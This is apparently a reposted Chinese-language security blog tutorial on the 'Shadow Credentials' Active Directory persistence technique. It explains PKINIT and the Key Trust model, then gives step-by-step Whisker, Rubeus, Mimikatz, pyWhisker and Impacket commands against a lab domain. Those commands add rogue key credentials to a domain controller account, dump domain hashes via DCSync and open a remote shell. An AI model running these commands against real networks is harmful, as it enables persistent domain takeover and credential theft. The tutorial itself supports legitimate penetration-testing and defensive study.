<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | 域滲透之域持久性:Shadow Credentials

    VSole2022-05-06 08:30:13

    在 Black Hat Europe 2019大會期間

    https://www.dsinternals.com/wp-content/uploads/eu-19-Grafnetter-Exploiting-Windows-Hello-for-Business.pdf

    Michael Grafnetter 

    @MGrafnetter 

    https://twitter.com/MGrafnetter

    討論了針對 Windows Hello for Business 技術的多種攻擊方法,其中包括域持久化技術。該技術涉及修改目標計算機賬戶或用戶帳戶的 msDS-KeyCredentialLink 屬性,以獲得用于檢索 NTLM 哈希值和請求 TGT 票據。即使目標帳戶的密碼被修改后,該屬性也不會受到影響,因此,攻擊者可以使用該技術完美的實現域持久性。

    # TL;DR

    Will Schroeder(@harmj0y)[https://twitter.com/harmj0y]和 Lee Christensen(@tifkin_)[https://twitter.com/tifkin_]在 2021 年發表了關于 AD CS 攻擊的白皮書[https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf],文章中介紹了 Kerberos 使用公鑰加密進行初始身份驗證(PKINIT)的其他技術,這使得 Elad Shamir(@elad_shamir)[https://twitter.com/elad_shamir]重新發現了一種用于客戶端對象接管的替代技術。

    在此之前,Michael Grafnetter 已經發現了這種濫用技術,并在 Black Hat Europe 2019[https://www.dsinternals.com/wp-content/uploads/eu-19-Grafnetter-Exploiting-Windows-Hello-for-Business.pdf] 上展示了它。Michael 在他的演講中清楚地展示了這種濫用行為,并解釋了關于 WHfB 和 Key Trust 模型的一些內部工作原理。

    Michael 還一直在維護一個名為 DSInternals [https://github.com/MichaelGrafnetter/DSInternals]的庫,它在現實中支持了這種機制的濫用。Elad Shamir 將 Michael 的一些代碼移植到了一個名為 Whisker [https://github.com/eladshamir/Whisker]的新 C# 工具中,以便通過操作植入來使用。

    # What is PKINIT?

    PKINIT 是 Kerberos 協議的擴展協議,允許在身份驗證階段使用數字證書。這種技術可以用智能卡或 USB 類型的身份驗證代替基于密碼的身份驗證。PKINIT 協議允許在 Kerberos 協議的初始(預)身份驗證交換中使用公鑰加密,通過使用公鑰加密來保護初始身份驗證,Kerberos 協議得到了顯著增強,并且可以與現有的公鑰身份驗證機制(例如智能卡)一起使用。

    在傳統的 Kerberos 身份驗證中,客戶端必須在 KDC 為其提 TGT 票據之前執行 “預身份驗證”,該票證隨后可用于獲取服務票證。客戶端使用其憑據加密時間戳來執行預身份驗證,以向 KDC 證明他們擁有該帳戶的憑據。使用時間戳而不是靜態值有助于防止重放攻擊。

    對稱密鑰方法是使用最廣泛和已知的一種方法,它使用從客戶端密碼派生的對稱密鑰(AKA 密鑰)。如果使用 RC4 加密,此密鑰將是客戶端密碼的哈希值。KDC 擁有客戶端密鑰的副本,并且可以解密預身份驗證的數據以對客戶端進行認證。KDC 使用相同的密鑰來加密與 TGT 一起發送給客戶端的會話密鑰。

    PKINIT 是不太常見的非對稱密鑰方法。客戶端有一個公/私密鑰對,并用他們的私鑰對預驗證數據進行加密,KDC 用客戶端的公鑰對其進行解密。KDC 還有一個公/私密鑰對,允許使用以下兩種方法之一交換會話密鑰:

    1. 1. Diffie-Hellman Key Delivery該方法允許 KDC 和客戶端安全地建立共享會話密鑰,即使攻擊者擁有客戶端或 KDC 的私鑰。會話密鑰將存儲在 TGT 的加密部分,它是用 Krbtgt 帳戶的密鑰(哈希)加密的。
    2. 2. Public Key Encryption Key Delivery該方法使用 KDC 的私鑰和客戶端的公鑰來封裝由 KDC 生成的會話密鑰。

    傳統上,公鑰基礎設施(PKI)允許 KDC 和客戶端使用由雙方先前已與證書頒發機構(CA)建立信任的實體簽署的數字證書以交換他們的公鑰。這是證書信任(Certificate Trust)模型,最常用于智能卡身份驗證。

    # No PKI? No Problem!

    Microsoft 還引入了密鑰信任(Key Trust)的概念,以在不支持 Certificate Trust 的環境中支持無密碼身份驗證。在 Key Trust 模型下,PKINIT 身份驗證是基于原始密鑰數據而不是證書建立的。

    客戶端的公鑰存儲在一個名為 msDS-KeyCredentialLink 的多值屬性中,該屬性在 Windows Server 2016 中引入。該屬性的值是 Key Credentials,它是包含創建日期、所有者可分辨名稱等信息的序列化對象,一個代表設備 ID 的 GUID,當然還有公鑰。

    這種信任模型消除了使用無密碼身份驗證必須為每個人頒發客戶端證書的需要。但是,域控制器仍需要用于會話密鑰交換的證書。

    這意味著如果我們可以寫入用戶的 msDS-KeyCredentialLink 屬性,那么就可以獲得該用戶的 TGT。

    # Windows Hello for Business Provisioning and Authentication

    Microsoft 推出了 Windows Hello 企業版(WHfB),用基于密鑰的信任模型取代了傳統的基于密碼的身份驗證。當用戶注冊時,TPM 會為用戶的帳戶生成一個公/私鑰對。接下來,如果在組織中實施了 Certificate Trust 模型,則客戶端發出證書注冊請求,以從證書頒發機構為 TPM 生成的密鑰對獲取受信任的證書。但是,如果實施 Key Trust 模型,則公鑰將存儲在帳戶的 msDS-KeyCredentialLink 屬性的新 Key Credential 對象中。私鑰受 PIN 碼保護,Windows Hello 允許將其替換為生物特征的身份驗證因素,例如指紋或面部識別。

    當客戶端登錄時,Windows 會嘗試使用其私鑰執行 PKINIT 身份驗證。在 Key Trust 模型下,域控制器可以使用存儲在客戶端 msDS-KeyCredentialLink 屬性中的原始公鑰解密其預身份驗證數據。在 Certificate Trust 模型下,域控制器將驗證客戶端證書的信任鏈,然后使用其中的公鑰。一旦預認證成功,域控制器可以通過 Diffie-Hellman Key Delivery 或 Public Key Encryption Key Delivery 交換會話密鑰。

    # Abuse

    在濫用 Key Trust 時,我們實際上是在向目標帳戶添加替代憑據,或 “影子憑據”,從而允許獲取 TGT 并用于后續操作。即使用戶/計算機更改了密碼,這些影子憑據也會保留。

    Elad Shamir 發布了一個名為 Whisker[https://github.com/eladshamir/Whisker] 的工具,可以幫助測試人員利用這種技術。該工具將生成證書和 Key Credential,并將 Key Credential 信息存儲在 msDS-KeyCredentialLink 屬性中。生成的證書可以與 Rubeus 一起使用,以請求 TGT 票據并進一步擴大攻擊。

    該技術需要以下要求:

    • ? 一個系統版本至少為 Windows Server 2016 的域控制器。
    • ? 安裝在域控制器上的服務器身份驗證數字證書。
    • ? 擁有寫入目標對象 msDS-KeyCredentialLink 屬性的權限的帳戶。

    以下賬戶擁有 msDS-KeyCredentialLink 屬性的寫入權限:

    • ? 域管理員賬戶
    • ? Key Admins 組中的賬戶
    • ? Enterprise Key Admins 組中的賬戶
    • ? 對 Active Directory 中的對象具有 GenericAll 或 GenericWrite 權限的帳戶

    (1)執行以下命令,通過 Whisker 的 add 命令向域控制器的 msDS-KeyCredentialLink 屬性添加 Shadow Credentials

    Whisker.exe add /target:DC01$ /domain:pentest.com /dc:DC01.pentest.com
    

    通過 list 命令可以列出目標對象的 msDS-KeyCredentialLink 屬性的所有條目,如下圖所示。

    Whisker.exe list /target:DC01$ /domain:pentest.com /dc:DC01.pentest.com
    

    (2)Whisker add 命令的輸出中提供了 Rubeus 命令,使用該命令可以使用基于證書的身份驗證請求 TGT 票據。這里我們在 Whisker 提供的 Rubeus 命令后面加上了 /ptt,以將請求到的 TGT 傳遞到內存中。

    Rubeus.exe asktgt /user:DC01$ /certificate: /password:"AYOjT1jNMyrxNAss" /domain:pentest.com /dc:DC01.pentest.com /getcredentials /show /ptt
    

    執行 klist 命令可以看到,當前機器中已經緩存了域控制器的 TGT 票據,如下圖所示。

    由于域控制器賬戶擁有所需特權,我們可以通過 Mimikatz 執行 DCSync 來導出域用戶哈希,如下圖所示。

    mimikatz.exe "lsadump::dcsync /domain:pentest.com /user:PENTEST\Administrator" exit
    

    此外,我們可以通過 Kerberos 的 S4U2Self 擴展協議,使用已獲取的域控 TGT 為域管理員用戶申請針對域控上其他服務的的 ST 票據。這里我們請求的是域控制器的 CIFS 服務,相關命令如下:

    Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:CIFS/DC01.pentest.com /dc:DC01.pentest.com /ptt /ticket:
    

    執行 klist 命令可以看到,當前機器中已經緩存了域管理員的 TGT 票據,該票據可以用來訪問域控制器的 CIFS 服務,如下圖所示。

    此時,我們可以使用標準用戶帳戶遠程訪問域控制器的共享資源,如下圖所示:

    如果想要刪除添加到目標對象 msDS-KeyCredentialLink 屬性的密鑰憑據,可以執行以下命令。

    Whisker.exe remove /target:DC01$ /deviceid:
    

    # pyWhisker

    如果擁有所需權限的帳戶的憑據已知,則該技術也可以從未加入域的系統執行。Charlie Bromberg(@_nwodtuhs)[https://twitter.com/_nwodtuhs]通過 Python 實現了 Whisker ,共發布了名為 pyWhisker[https://github.com/ShutdownRepo/pywhisker] 的工具,以實現在未連接到域網絡的主機上操作。

    (1)執行以下命令,對域控制器賬戶執行攻擊,生成的證書將以 .pfx 格式保存在本地,如下圖所示。

    python3 pywhisker.py -d "pentest.com" -u "Marcus" -p "Marcus@123" --target "DC01$" --action "add" --filename dc01
    

    (2)pyWhisker 得到的證書可以與 Dirk-jan Mollema(@dirkjanm)[https://twitter.com/_dirkjan]的 PKINITtools[https://github.com/dirkjanm/PKINITtools] 一起使用,以通過 KDC 進行身份驗證,并請求以 .ccache 格式保存的 TGT 票據,如下圖所示。

    python3 gettgtpkinit.py -cert-pfx dc01.pfx -pfx-pass sR68YYFbN6WQIkdBxrol pentest.com/dc01\$ dc01.ccache
    

    (3)由于域控制器賬戶擁有所需特權,我們可以設置環境變量 KRB5CCNAME,通過 Impacket[https://github.com/SecureAuthCorp/impacket] 套件中的 secretsdump.py 使用該票據,并執行 DCSync 來導出域用戶哈希,如下圖所示。

    export KRB5CCNAME=/root/PKINITtools/dc01.ccache
    python3 secretsdump.py -k pentest.com/dc01\$@dc01.pentest.com -no-pass -just-dc
    

    (4)此外,我們可以通過 Kerberos 的 S4U2Self 擴展協議,使用已獲取的域控 TGT 為域管理員用戶申請針對域控上其他服務的的 ST 票據。這里我們請求的是域控制器的 CIFS 服務,相關命令如下:

    python3 gets4uticket.py kerberos+ccache://pentest.com\\dc01\$:dc01.ccache@dc01.pentest.com cifs/dc01.pentest.com@pentest.com Administrator@pentest.com Administrator.ccache -v
    

    (5)最后,我們通過設置環境變量 KRB5CCNAME 來使用 Administrator 用戶的票據,并通過 smbexec.py 獲取域控制器的最高權限,相關命令如下。

    export KRB5CCNAME=/root/PKINITtools/Administrator.ccache
    python3 smbexec.py -k pentest.com/Administrator@dc01.pentest.com -no-pass
    

    # What About NTLM?

    PKINIT 允許 WHfB 用戶或更傳統的智能卡用戶執行 Kerberos 身份驗證并獲得 TGT。但是,如果他們訪問需要 NTLM 身份驗證的資源該怎么辦呢?為了解決這個問題,Microsoft 在 MS-PKCA(Microsoft 的 Kerberos PKINIT 技術規范)的 “1.4 Relationship to Other Protocols” 部分中指出:

    “In order to support NTLM authentication [MS-NLMP] for applications connecting to network services that do not support Kerberos authentication, when PKCA is used, the KDC returns the user’s NTLM one-way function (OWF) in the privilege attribute certificate (PAC) PAC_CREDENTIAL_INFO buffer”

    也就是說,當進行進行 Kerberos PKINIT 身份驗證的時候,返回的票據的 PAC 里面包含用戶的 NTLM 憑據。獲取這個 NTLM 憑據涉及解密 PAC_CREDENTIAL_DATA 結構,Benjamin Delpy 早在 2016 年就已經在 Kekeo 和 Mimikatz 中實現了這一點。相關細節請參考我之前的博客 《Attack Surface Mining For AD CS》[https://whoamianony.top/attack-surface-mining-for-ad-cs/] 中的 “0.4.5 NTLM Credential Theft via PKINIT – THEFT5” 部分。

    kerberos域控制器
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    跟蹤為CVE-2021-23008的KDC欺騙漏洞可用于繞過Kerberos安全性并登錄到Big-IP訪問策略管理器或管理控制臺。Silverfort研究人員指出,有時也會使用APM來保護對Big-IP管理控制臺的訪問。“用戶名和密碼已通過Kerberos協議針對Active Directory進行了驗證,以確保用戶就是他們所聲稱的身份。”為了正常工作,KDC還必須向服務器進行身份驗證。F,在F5的設置中,不會發生這種情況。開發方案 根據星期四發布的F5的建議,要使攻擊起作用,就要求攻擊者已經在目標環境中。
    抓取域密碼哈希的各種工具集合。
    基于資源的約束委派
    2022-02-24 13:39:47
    微軟試圖為域用戶提供更大的靈活性,使資源的所有者能夠配置哪些帳戶是可信的,并允許委派給他們。這可以通過修改用于控制目標資源訪問的屬性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”來實現的。
    Kerberos認證介紹Kerberos是一種計算機網絡授權協議,用來在非安全網絡中,對個人通信以安全的手段進行身份認證。這個詞又指麻省理工學院為這個協議開發的一套計算機軟件。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
    Kerberos Bronze Bit 攻擊的概念驗證利用代碼于本周在網上發布。以及繞過Kerberos身份驗證的Silver Ticket攻擊。造成攻擊的根本原因是未簽名包含可轉發標志的Kerberos服務票證組件,并且Kerberos進程無法檢測服務票證操縱。通過確保在S4U2self交換中收到的任何服務票證都是不可轉發的,可以強制實施此保護,除非請求的服務是TrustedToAuthForDelegation。同樣,通過確保代表受保護帳戶在S4U2self交換中收到的任何服務票證均不可轉發,可以強制執行此操作。
    在了解票據攻擊的過程中,看見了一篇文章使用Rubeus進行鉆石票據攻擊。但是沒有原理,于是抱著學習的心態在Google上尋找文章發現除了鉆石票據還有藍寶石票據。
    kerberos委派詳解
    2021-10-08 14:49:15
    委派域委派是指,將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動。服務賬號,域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MSSQL Server在安裝時,會在域內自動注冊服務賬號'SqlServiceAccount',這類賬號不能用于交互式登錄。
    kerberos協議從0到1
    2021-10-12 14:26:38
    krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務賬號,其密碼是系統隨機生成的,無法登錄主機
    前文已經寫到檢測域內dcsync,adminsdholder等后門和一些基本域內信息
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类